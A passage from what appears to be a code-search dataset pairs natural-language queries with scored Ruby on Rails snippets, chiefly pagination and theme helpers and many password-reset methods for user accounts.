"score": "0.46381894",
"text": "def setup_default_locale\n locale = config.dig(\"locale\").split(\"- \").last\n\n application nil do\n <<~CONFS\n # Default i18n locale\n config.i18n.default_locale = :#{locale}\n\n CONFS\n end\n\n template \"templates/default_locale.tt\", \"config/locales/#{locale}.yml\" if locale != \"en\"\n end",
"title": ""
},
{
"docid": "e300abbc105c5f8aa522f3c313bf3184",
"score": "0.46271193",
"text": "def initialize\n load_default_styles\n end",
"title": ""
},
{
"docid": "36bd5ebc563bdcfc5c7efb89418381b7",
"score": "0.46255437",
"text": "def pagination_links(obj)\n paginator = Paginator.new(obj)\n paginator.current_page = params[:page]\n\n # PAGE BUTTON LINKS (w/Bootstap styling)\n def previous_page_link(paginator)\n content_tag :li do\n link_to({ controller: \"#{controller_name}\", action: \"#{action_name}\", page: paginator.previous_page }, { remote: true, :'aria-label' => 'Previous Page', title: 'Previous Page', data: { toggle: 'tooltip', placement: 'top' } }) do\n raw '<span aria-hidden=\"true\">«</span>'\n end\n end\n end\n\n def previous_group_link(paginator)\n content_tag :li do\n link_to({ controller: \"#{controller_name}\", action: \"#{action_name}\", page: paginator.previous_range_first_page }, { remote: true, :'aria-label' => 'Previous Page Group', title: 'Previous Page Group', data: { toggle: 'tooltip', placement: 'top' } }) do\n raw '<span aria-hidden=\"true\">...</span>'\n end\n end\n end\n\n def page_link(page_num, current_page)\n status = 'active' if page_num == current_page\n\n content_tag :li, class: \"#{status}\" do\n link_to(\"#{page_num}\", controller: \"#{controller_name}\", action: \"#{action_name}\", page: \"#{page_num}\", remote: true)\n end\n end\n\n def next_group_link(paginator)\n content_tag :li do\n link_to({ controller: \"#{controller_name}\", action: \"#{action_name}\", page: paginator.next_range_first_page }, { remote: true, :'aria-label' => 'Next Page Group', title: 'Next Page Group', data: { toggle: 'tooltip', placement: 'top' } }) do\n raw '<span aria-hidden=\"true\">...</span>'\n end\n end\n end\n\n def next_page_link(paginator)\n content_tag :li do\n link_to({ controller: \"#{controller_name}\", action: \"#{action_name}\", page: paginator.next_page }, { remote: true, :'aria-label' => 'Next Page', title: 'Next Page', data: { toggle: 'tooltip', placement: 'top' } }) do\n raw '<span aria-hidden=\"true\">»</span>'\n end\n end\n end\n\n # BUILD PAGINATION LINKS\n # Start Bootstap pagination style\n output = '<nav class=\"text-center\"><ul class=\"pagination\">'\n\n # Show the '<<' aka previous page button\n unless paginator.first_page? || paginator.current_page < 1\n output += previous_page_link(paginator)\n end\n\n # Show the '...' aka previous page group button\n unless paginator.first_page? || paginator.current_page <= paginator.links_per_page\n output += previous_group_link(paginator)\n end\n\n # Show individual page links, stopping at the limit of links per page set by the user\n paginator.current_range_first_page.upto(paginator.last_page_in_current_range) do |page_num|\n output += page_link(page_num, paginator.current_page) unless page_num > paginator.total_pages\n end\n\n # Show the '...' aka next page group button\n unless paginator.next_range_first_page > paginator.total_pages || paginator.last_page?\n output += next_group_link(paginator)\n end\n\n # Show the '>>' aka next page button\n unless paginator.last_page? || paginator.current_page > paginator.total_pages\n output += next_page_link(paginator)\n end\n\n # Append page numbering and end Bootstap pagination style\n output += \"</ul><p><strong>Page:</strong> #{paginator.current_page} / #{paginator.total_pages}</p></nav>\"\n\n # Output the string to the view\n raw output unless paginator.total_pages <= 1\n end",
"title": ""
},
{
"docid": "f18f82274d38e67d3335d0e8c29dd826",
"score": "0.46238133",
"text": "def theme\n return @theme\n end",
"title": ""
},
{
"docid": "95184c17facdb94d9fa7e5d30e3b7a99",
"score": "0.4622337",
"text": "def pagination=(count)\n settings.pagination = count\n end",
"title": ""
},
{
"docid": "175a136545c88ac4332d5f43654c4f24",
"score": "0.46153423",
"text": "def theme=(_arg0); end",
"title": ""
},
{
"docid": "1ad261243b3379a04ea4378d28928b92",
"score": "0.46040034",
"text": "def set_forum_theme\n @forum_theme = ForumTheme.find(params[:id])\n end",
"title": ""
},
{
"docid": "367f5d3dcff000e2cd454b30d9538e26",
"score": "0.45999253",
"text": "def add_default_styling_selected(button_class)\n button_class ||= \"#3300FF\"\n button_class.insert(0, \"button \")\n end",
"title": ""
},
{
"docid": "ff4cdc63e729b79eb798d430b35f20ca",
"score": "0.4599864",
"text": "def default_format\n @default_format ||= :html\n end",
"title": ""
},
{
"docid": "e73551aee7f6dd28615616ee0b91bda5",
"score": "0.4598413",
"text": "def permalink_style=(_arg0); end",
"title": ""
},
{
"docid": "88674cc7b84b488a6a5a80536069003c",
"score": "0.45939246",
"text": "def default_layout\n nil\n end",
"title": ""
},
{
"docid": "c2e7e0906fae5323096e5a35d3882b97",
"score": "0.4592827",
"text": "def pagination_setup(paginator: SearchPaginator, **opt)\n # noinspection RubyMismatchedReturnType\n super\n end",
"title": ""
},
{
"docid": "10e0d4a5861c5e04f5af18b96a02b156",
"score": "0.45916587",
"text": "def set_theme\n @theme = Theme.find_by(id: params[:id],site_id: @site.id)\n redirect_to admin_errors_url(error_template: '403') unless @theme\n end",
"title": ""
},
{
"docid": "5d3cd6ef8c5c8b75a1f39cdbdbd1174b",
"score": "0.45824936",
"text": "def will_paginate(collection_or_options = nil, options = {})\n if collection_or_options.is_a? Hash\n options = collection_or_options\n collection_or_options = nil\n end\n options = options.merge renderer: WillPaginate::ActionView::Bootstrap4LinkRenderer unless options[:renderer]\n super(*[collection_or_options, options].compact)\n end",
"title": ""
},
{
"docid": "3eef487d0d120e0380de6fe49b193b10",
"score": "0.45743513",
"text": "def set_theme_intere\n @theme_intere = ThemeIntere.find(params[:id])\n end",
"title": ""
},
{
"docid": "27a584b14a17ef03ee58e198c18cfe9a",
"score": "0.456826",
"text": "def parent_theme\n ThemesForRails.config.parent_theme(current_theme)\n end",
"title": ""
},
{
"docid": "99020d7f304b3bf4a096245849a61ea8",
"score": "0.45682395",
"text": "def default_class\n return nil if url_param.present?\n return nil if params['result-link-class'].present?\n 'result-link-default'\n end",
"title": ""
},
{
"docid": "d77d3b78e366e547b600467d37be1329",
"score": "0.45657027",
"text": "def pagination\n settings.pagination || 50\n end",
"title": ""
},
{
"docid": "e301557d31005341bfd03bbc1df049cc",
"score": "0.45574707",
"text": "def default_format=(format)\n @default_format = format\n end",
"title": ""
},
{
"docid": "c995c537679f4143f8edec266569d42f",
"score": "0.45539737",
"text": "def themes(theme_list)\n @themes = theme_list\n end",
"title": ""
},
{
"docid": "8d96922f81a1efe85abd03f45b922df7",
"score": "0.45330706",
"text": "def set_default_options\n end",
"title": ""
},
{
"docid": "d40ea621fe1db55f5765db99e5188bdd",
"score": "0.4518459",
"text": "def theme\n Design::Theme.array.find_by_name(self.theme_name) || site.theme\n end",
"title": ""
},
{
"docid": "01ec0555184fd9cd423004efc0ebef37",
"score": "0.45177683",
"text": "def set_layout\n devise_controller? ? 'admin' : 'application'\n end",
"title": ""
},
{
"docid": "aa2d8b18c6d7b65cfa18f1468e9b4311",
"score": "0.45119175",
"text": "def initialize(theme_name)\n\t\t@theme_name = theme_name\n\tend",
"title": ""
},
{
"docid": "05a83788cfdcee93808488c69cd542f0",
"score": "0.4505496",
"text": "def default_format= format\n @worksheet.add_format format if @worksheet\n @default_format = format\n end",
"title": ""
},
{
"docid": "cd5fd2a107b815b32ff31d8804eef30e",
"score": "0.45052156",
"text": "def set_theme_name\n @theme_name = ThemeName.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ac6758db42594d7bb5b29d87d0e3462",
"score": "0.45008945",
"text": "def twill_paginate(collection = nil, options = {})\n #require 'will_paginate/array'\n will_paginate collection, {:previous_label => I18n.t('commons.previous'), :next_label => I18n.t('commons.next')}.merge(options)\n end",
"title": ""
},
{
"docid": "37a1b4452d49e80733f1ebb899f45528",
"score": "0.44986266",
"text": "def switch_theme(root_element, theme)\n old_map = @mapping\n new_map = map(theme)\n\n root_element.each_child do |e|\n old_classes = css_classes_for_map e.class.name, old_map\n new_classes = css_classes_for_map e.class.name, new_map\n update_element_css_classes(e, old_classes, new_classes)\n\n old_classes = css_classes_for_map e.class.superclass.name, old_map\n new_classes = css_classes_for_map e.class.superclass.name, new_map\n update_element_css_classes(e, old_classes, new_classes)\n end\n\n @mapping = new_map\n end",
"title": ""
},
{
"docid": "9420ba17768eb477f2643a4ae88a0a4e",
"score": "0.44985014",
"text": "def index\n if @current_website.present?\n @pages = @current_website.pages\n else\n @pages = Page.all\n end\n render layout: \"themes/basic/layout\"\n end",
"title": ""
},
{
"docid": "32506a2f07318a0cffdcc74fa3545929",
"score": "0.4496028",
"text": "def theme(name)\n @current_theme = name\n path = ThemePark.resolve_views_path(name)\n prepend_view_path path\n end",
"title": ""
},
{
"docid": "695dc8cff64ce7c396c3e632d590433e",
"score": "0.44864744",
"text": "def defaults\n @defaults ||= FlickrMocks::Models::Helpers.paging_defaults().clone\n @defaults\n end",
"title": ""
},
{
"docid": "ff88a99a81019731cf4efb1830345fe2",
"score": "0.44804138",
"text": "def set_defaults\n end",
"title": ""
},
{
"docid": "ff88a99a81019731cf4efb1830345fe2",
"score": "0.44804138",
"text": "def set_defaults\n end",
"title": ""
},
{
"docid": "71abe15f5f15d22941b1bca11aa7bdbc",
"score": "0.44684842",
"text": "def set_defaults\n\n end",
"title": ""
},
{
"docid": "71abe15f5f15d22941b1bca11aa7bdbc",
"score": "0.44684842",
"text": "def set_defaults\n\n end",
"title": ""
},
{
"docid": "71abe15f5f15d22941b1bca11aa7bdbc",
"score": "0.44684842",
"text": "def set_defaults\n\n end",
"title": ""
},
{
"docid": "71abe15f5f15d22941b1bca11aa7bdbc",
"score": "0.44684842",
"text": "def set_defaults\n\n end",
"title": ""
},
{
"docid": "71abe15f5f15d22941b1bca11aa7bdbc",
"score": "0.44684842",
"text": "def set_defaults\n\n end",
"title": ""
},
{
"docid": "71abe15f5f15d22941b1bca11aa7bdbc",
"score": "0.44684842",
"text": "def set_defaults\n\n end",
"title": ""
},
{
"docid": "11fb82eea90779a608b2a7a802587b24",
"score": "0.44625807",
"text": "def set_team_theme\n @team_theme = TeamTheme.find(params[:id])\n end",
"title": ""
},
{
"docid": "dca9888be010c7388b75f0764a9bc5e4",
"score": "0.44554326",
"text": "def twill_paginate(collection = nil, options = {})\n will_paginate collection, {:previous_label => t('commons.previous'), :next_label => t('commons.next')}.merge(options)\n end",
"title": ""
},
{
"docid": "b510a4e1d55a3ea951efb7d680906988",
"score": "0.4453556",
"text": "def initialize_paginator\n @page = correct_integer?(params[:page]) ? params[:page].to_i : 1\n @for_page = FOR_PAGE\n @filter = params[:filter]\n @filter = Filters::ALL_LESSONS if !Filters::LESSONS_SET.include?(@filter)\n end",
"title": ""
},
{
"docid": "b4a4992c58da629b27884b7855d4e9b1",
"score": "0.44363773",
"text": "def set_layout\n if 1==1\n 'application'\n else\n 'dean'\n end\n end",
"title": ""
},
{
"docid": "c05ed9e1f52f31f911bd9c53c7db0d2b",
"score": "0.44343656",
"text": "def pagination_setup(paginator: Org::Paginator, **opt)\n opt[:id] ||= identifier\n # noinspection RubyMismatchedReturnType\n super\n end",
"title": ""
},
{
"docid": "7cae715b572707140c6ab199daf8be32",
"score": "0.44323957",
"text": "def default_results_per_page\n @view_result_settings['ResultsPerPage'].to_i\n end",
"title": ""
},
{
"docid": "5966169416c1e40b5332e94e5eb05641",
"score": "0.4431233",
"text": "def default_class= clazz\n raise ArgumentError, \"default must be a Class\" if !is_class? clazz\n @default_class = clazz\n end",
"title": ""
}
] |
65911e617d1c3df75ab69348141675f7 | Sets the password reset attributes. | [
{
"docid": "1bd18669844cd6fde749256a6c3f5566",
"score": "0.0",
"text": "def create_reset_digest\n self.reset_token = User.new_token\n update_attribute(:reset_digest, User.digest(reset_token))\n update_attribute(:reset_sent_at, Time.zone.now)\n end",
"title": ""
}
] | [
{
"docid": "58e818e594c709af66259ea48fb80ae5",
"score": "0.7047396",
"text": "def send_reset_password_instructions(attributes={})\n send_instructions_for(:reset_password, attributes)\n end",
"title": ""
},
{
"docid": "7454cdddbc2413bb9dfde35d05b67b1e",
"score": "0.69583577",
"text": "def set_password_reset\n\t\tself.code = SecureRandom.urlsafe_base64\n\t\tself.expires_at = 4.hours.from_now\n\t\tself.save!\n\tend",
"title": ""
},
{
"docid": "5ee285b830982e6a6b6f1e7ee9c997c0",
"score": "0.6818595",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n p[:password_unset] = 0 \n update_attributes(p)\n end",
"title": ""
},
{
"docid": "e5512422f80a2ad08836d230862e5db6",
"score": "0.6749292",
"text": "def password_set(password)\n self.password.set password\n self.passwordconfirm.set password\n end",
"title": ""
},
{
"docid": "d1bae9b7dab183d7c682a2e29e3dc6de",
"score": "0.6737656",
"text": "def attempt_set_password(params)\n\t p = {}\n\t p[:password] = params[:password]\n\t p[:password_confirmation] = params[:password_confirmation]\n\t update_attributes(p)\n end",
"title": ""
},
{
"docid": "42b6fe65f1bd2ca39497b1b292726835",
"score": "0.670031",
"text": "def set_password_reset\n self.make_password_reset_code\n end",
"title": ""
},
{
"docid": "912a2dbe475c921cbb6879ff17c63c6d",
"score": "0.6676551",
"text": "def attempt_set_password(params)\n update_attributes(password: params[:password], password_confirmation: params[:password_confirmation])\n end",
"title": ""
},
{
"docid": "d826eda8d56312fafa4737458b56505d",
"score": "0.66730624",
"text": "def attempt_set_password(params)\n p={}\n p[:password]=params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "56edb8b4f209ec7dd8f917d96cff6d4e",
"score": "0.66577595",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes p\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "17745eaac12e6ec89d945da059a3656c",
"score": "0.66103",
"text": "def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"title": ""
},
{
"docid": "6e1dc1a5ff3ede8a8d445ae840e454c5",
"score": "0.66062486",
"text": "def reset_password(password)\n self.termpassword = password\n save\n end",
"title": ""
},
{
"docid": "ffed27765f76e475cd00286668d7c961",
"score": "0.6472609",
"text": "def reset_password\n friendly_token = Authlogic::Random.friendly_token\n self.password = friendly_token\n self.password_confirmation = friendly_token if self.class.require_password_confirmation\n end",
"title": ""
},
{
"docid": "6c78a80ce81a8e12830b122a96e1c247",
"score": "0.6450829",
"text": "def reset_password\n update_attribute(:password_reset_code, nil)\n @reset_password = true\n end",
"title": ""
},
{
"docid": "64888f24814d0649d491526a67456111",
"score": "0.6436771",
"text": "def reset_password() \n self.password_confirmation = self.password = self.login\n \n self.save\n end",
"title": ""
},
{
"docid": "bea63928173ba3c4081798550d8ecc66",
"score": "0.6398542",
"text": "def send_reset_password_instructions\n end",
"title": ""
},
{
"docid": "a57f0b457767eb45ebc5f24c91317e7c",
"score": "0.6395729",
"text": "def set_initial_password_reset!\n raw, enc = Devise.token_generator.generate(self.class, :reset_password_token)\n\n self.reset_password_token = enc\n self.reset_password_sent_at = Time.now.utc\n save(validate: false)\n raw\n end",
"title": ""
},
{
"docid": "b581ef96475361457bbd3c397d89d61a",
"score": "0.6394966",
"text": "def reset_password\n\t\tself.password_reset_token = User.new_token\n\t\tupdate_columns(password_reset_digest: User.digest(self.password_reset_token), password_reset_sent_at: Time.zone.now)\n\tend",
"title": ""
},
{
"docid": "3c4c6b1625e32e0f65bbaec9135fbab5",
"score": "0.6387875",
"text": "def reset_password\n friendly_token = Authlogic::Random.friendly_token\n self.password = friendly_token\n self.password_confirmation = friendly_token\n end",
"title": ""
},
{
"docid": "042335d9c1071ea933c69a8d0c806963",
"score": "0.6361992",
"text": "def send_reset_password_instructions(attributes = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "252a847c899cc7d5ceb1366bb688af5a",
"score": "0.6333956",
"text": "def reset_password!\n reset_password\n save_without_session_maintenance(validate: false)\n end",
"title": ""
},
{
"docid": "29b20328b385d79a290caa6220dd5f28",
"score": "0.63040346",
"text": "def set_password_reset_request\n @password_reset_request = PasswordResetRequest.find(params[:id])\n end",
"title": ""
},
{
"docid": "c58779f4ebb4a91dda1a0c939db941d5",
"score": "0.6263868",
"text": "def reset_password!\n password = PasswordGenerator.random_pronouncable_password(3)\n self.password = password\n self.password_confirmation = password\n save\n UserMailer.deliver_reset_password(self)\n end",
"title": ""
},
{
"docid": "075ec11bb17e5abd1f500632e63da672",
"score": "0.6248261",
"text": "def set_password\n @password = Password.last\n @new_password = Password.new\n end",
"title": ""
},
{
"docid": "355889a93198126c0c2aeb84ff89a560",
"score": "0.62462145",
"text": "def send_password_resets\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.zone.now\n self.save!\n NotificationsMailer.password_reset_mail(self).deliver\n end",
"title": ""
},
{
"docid": "a58a79bef5022b143c492cc7063bfb0b",
"score": "0.6244206",
"text": "def reset_password\n temporary_password = ActiveSupport::SecureRandom.base64(6)\n self.password = temporary_password\n self.password_confirmation = temporary_password\n temporary_password\n end",
"title": ""
},
{
"docid": "bd1d35542746ee71f1c904b4dc0b489f",
"score": "0.6237038",
"text": "def password_reset\n applicant = Applicant.first\n applicant.reset_token = Applicant.new_token\n ApplicantMailer.applicant_password_reset(applicant)\n end",
"title": ""
},
{
"docid": "9590e30062d0f6ff09bb23a741a3b806",
"score": "0.62206525",
"text": "def password_reset\n\t\tshepherd = Shepherd.first\n\t\tshepherd.reset_token = Shepherd.new_token\n ShepherdMailer.password_reset(shepherd)\n end",
"title": ""
},
{
"docid": "cb0bf3ae02fb2c5310b3f7c09a78b03e",
"score": "0.6216528",
"text": "def reset_password!(user)\n self.class.ignore_blank_passwords = false\n self.password = user[:password]\n self.password_confirmation = user[:password_confirmation]\n save\n end",
"title": ""
},
{
"docid": "c320930e9950fd9c264d610983f72ac1",
"score": "0.6209173",
"text": "def password_reset\n account = Account.first\n account.reset_token = Account.new_token\n AccountMailer.password_reset(account)\n end",
"title": ""
},
{
"docid": "b49fde712edf1d3b1e8208c23b1cccc9",
"score": "0.62026423",
"text": "def reset_password!\n reset_password\n save_without_session_maintenance(false)\n end",
"title": ""
},
{
"docid": "5e789656ad6b37a09df71f69323bf938",
"score": "0.6167075",
"text": "def send_reset_password_instructions(attributes = {})\n recoverable = find_or_initialize_with_errors(reset_password_keys, attributes, :not_found)\n recoverable.send_reset_password_instructions if recoverable.persisted?\n recoverable\n end",
"title": ""
},
{
"docid": "a5d8279cafe327a7d563264dca909f0b",
"score": "0.6148819",
"text": "def reset_password!(user)\n self.password = user[:password]\n self.password_confirmation = user[:password_confirmation]\n save\n end",
"title": ""
},
{
"docid": "7d91353ae9bf2aa7c23397e2461f7804",
"score": "0.61370957",
"text": "def reset_password\n @user = User.last\n @user.password_reset_token = \"12345\"\n @user.password_reset_sent_at = Time.zone.now\n mail = UserMailer.reset_password(@user)\n end",
"title": ""
},
{
"docid": "e72787d988c9cac7706129834a692aa7",
"score": "0.61262757",
"text": "def password_reset\n tester = Tester.first\n tester.reset_token = Tester.new_token\n TesterMailer.password_reset(tester)\n end",
"title": ""
},
{
"docid": "26156bddcf8de0af439de90525260d89",
"score": "0.612521",
"text": "def password=(value)\n reset_agent\n @password = value\n end",
"title": ""
},
{
"docid": "26156bddcf8de0af439de90525260d89",
"score": "0.612521",
"text": "def password=(value)\n reset_agent\n @password = value\n end",
"title": ""
},
{
"docid": "26156bddcf8de0af439de90525260d89",
"score": "0.612521",
"text": "def password=(value)\n reset_agent\n @password = value\n end",
"title": ""
},
{
"docid": "98bebb270723fc93bad9bf236361ae46",
"score": "0.61206967",
"text": "def password_reset\n employee = Employee.first\n employee.reset_token = Employee.new_token\n EmployeeMailer.password_reset(employee)\n end",
"title": ""
},
{
"docid": "92566fdcbec15eea0099126730158e70",
"score": "0.610895",
"text": "def create_reset_digest\n totp = ROTP::TOTP.new(\"base32secret3232\")\n self.reset_token = totp.now\n update_attribute(:reset_password_token, self.reset_token)\n update_attribute(:reset_password_sent_at, Time.zone.now)\n end",
"title": ""
},
{
"docid": "1f0ce6226110064c8187ad7380cbfaa4",
"score": "0.60907835",
"text": "def reset!\n self.password_cost = 9\n end",
"title": ""
},
{
"docid": "ac78e6ef7ec07537bc04f3e2bfff683b",
"score": "0.60302496",
"text": "def password_reset\n user = User.first\n user.reset_token = SecureRandom.uuid\n user.e_token = User.digest(user.email)\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "0a4a00d43c22667be332ac431decb80e",
"score": "0.6020839",
"text": "def set_password\n @password = Password.find(params[:id])\n end",
"title": ""
},
{
"docid": "673ec6b9ce5e891d97eabd34141da219",
"score": "0.60178",
"text": "def send_reset_password_instructions; end",
"title": ""
},
{
"docid": "f8c2ec0bc98e2f014bfccafedf5de836",
"score": "0.6017594",
"text": "def password_reset\n doctor = Doctor.first\n doctor.reset_token = Doctor.new_token\n DoctorMailer.password_reset(doctor)\n end",
"title": ""
},
{
"docid": "c48aa66e0d8a80df3dfd10dc21ed2dbc",
"score": "0.60139984",
"text": "def reset_params\n params.permit(:reset_password_token, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aede6cf3103f5f644eff2acae0587093",
"score": "0.60058177",
"text": "def reset_password!\n verifications.password_reset.create(recipient: address)\n end",
"title": ""
},
{
"docid": "7e548cdfec07de090518e825b4476bef",
"score": "0.6003872",
"text": "def password_reset\n participant = Participant.first\n participant.reset_token = Participant.new_token\n ParticipantMailer.password_reset(participant)\n end",
"title": ""
},
{
"docid": "0ca080df9f740d9655cd2f52c7b62150",
"score": "0.6003809",
"text": "def update_attributes_and_password(attrs)\n self.assign_attributes(attrs)\n self.valid?\n if self.password.present? && confirm_passwords\n self.password_hash = Digest::SHA256.hexdigest(self.password + Rails.application.secrets.salt)\n end\n if self.errors.empty?\n self.save\n end\n end",
"title": ""
},
{
"docid": "e1c8cefc41a2837956960c50186cec1c",
"score": "0.59939784",
"text": "def reset_password!\n new_password = Digest::MD5.hexdigest(Time.now.to_s.split(//).sort_by {rand}.join)[0, 10]\n self.password = new_password\n self.password_confirmation = new_password\n save!\n end",
"title": ""
},
{
"docid": "bc21005c475de18e6e31cfe45d976c42",
"score": "0.5991267",
"text": "def password_reset\n user = SbUser.first\n user.reset_token = SbUser.new_token\n SbuserMailer.password_reset(user)\n\n end",
"title": ""
},
{
"docid": "3cbb6a824e16d7ae4bfa8a28a4f7c978",
"score": "0.59896576",
"text": "def update_password\n enc_password = Authentication::Encryptor.digest(password)\n account = Authentication::Account.reset_token_account(reset_password_token)\n account.encrypted_password = enc_password\n account.reset_password_token, account.reset_password_expires_at = nil, nil\n account.save!\n {'success' => true}\n end",
"title": ""
},
{
"docid": "6119733e38dc4bdbe159404309193504",
"score": "0.5989354",
"text": "def password_reset\n owner = Owner.first\n owner.reset_token = Owner.new_token\n Owner::UserMailer.password_reset(owner)\n end",
"title": ""
},
{
"docid": "aafb26ca3422bcb72763f77f3285ad10",
"score": "0.59803075",
"text": "def password_reset\n user = Customer.last\n user.reset_token = Customer.new_token\n CustomerMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "643cb3df1d8476fd09fd82c1be5b5a87",
"score": "0.5967755",
"text": "def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "0512ab9959ae6e478ea467001ba94c5e",
"score": "0.5967606",
"text": "def reset_password\n generate_token(:password_reset_token)\n self.password_reset_sent_at = Time.now\n save!\n UserMailer.delay.password_reset(self)\n end",
"title": ""
},
{
"docid": "9026819e89b17ac7edba22faa877351a",
"score": "0.5958503",
"text": "def reset_password(new_password, new_password_confirmation); end",
"title": ""
},
{
"docid": "3f608c0d322d1a40d4bf2b96d29f7585",
"score": "0.5956676",
"text": "def disable_password_reset\n @attributes[:disable_password_reset]\n end",
"title": ""
},
{
"docid": "d863a00939e2224ab52dc31b9ea66fa8",
"score": "0.59336716",
"text": "def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "d863a00939e2224ab52dc31b9ea66fa8",
"score": "0.59336716",
"text": "def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "d863a00939e2224ab52dc31b9ea66fa8",
"score": "0.59336716",
"text": "def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "d863a00939e2224ab52dc31b9ea66fa8",
"score": "0.59336716",
"text": "def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "d863a00939e2224ab52dc31b9ea66fa8",
"score": "0.59336716",
"text": "def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "d863a00939e2224ab52dc31b9ea66fa8",
"score": "0.59336716",
"text": "def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "d863a00939e2224ab52dc31b9ea66fa8",
"score": "0.59336716",
"text": "def password_reset\n user = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "889b358bca177f9e77d622df6a1d8897",
"score": "0.59318346",
"text": "def password_reset\n player = Player.first\n player.reset_token = Player.new_token\n PlayerMailer.password_reset(player)\n end",
"title": ""
},
{
"docid": "0f253020270ab74010ef645743a09d35",
"score": "0.5930653",
"text": "def set_password_setting\n @password_setting = PasswordSetting.find(params[:id])\n end",
"title": ""
},
{
"docid": "82f21e1d40de72352733807d7255ef7d",
"score": "0.5929595",
"text": "def reset_password_digest\n self.update_columns(password_digest: nil)\n end",
"title": ""
},
{
"docid": "e9798de60d46187a54d4504f80a86c09",
"score": "0.5927456",
"text": "def password_reset\n \tuser = User.first\n user.reset_token = User.new_token\n UserMailer.password_reset(user)\n end",
"title": ""
},
{
"docid": "714abb289a77082449b30debc8cea4cf",
"score": "0.592535",
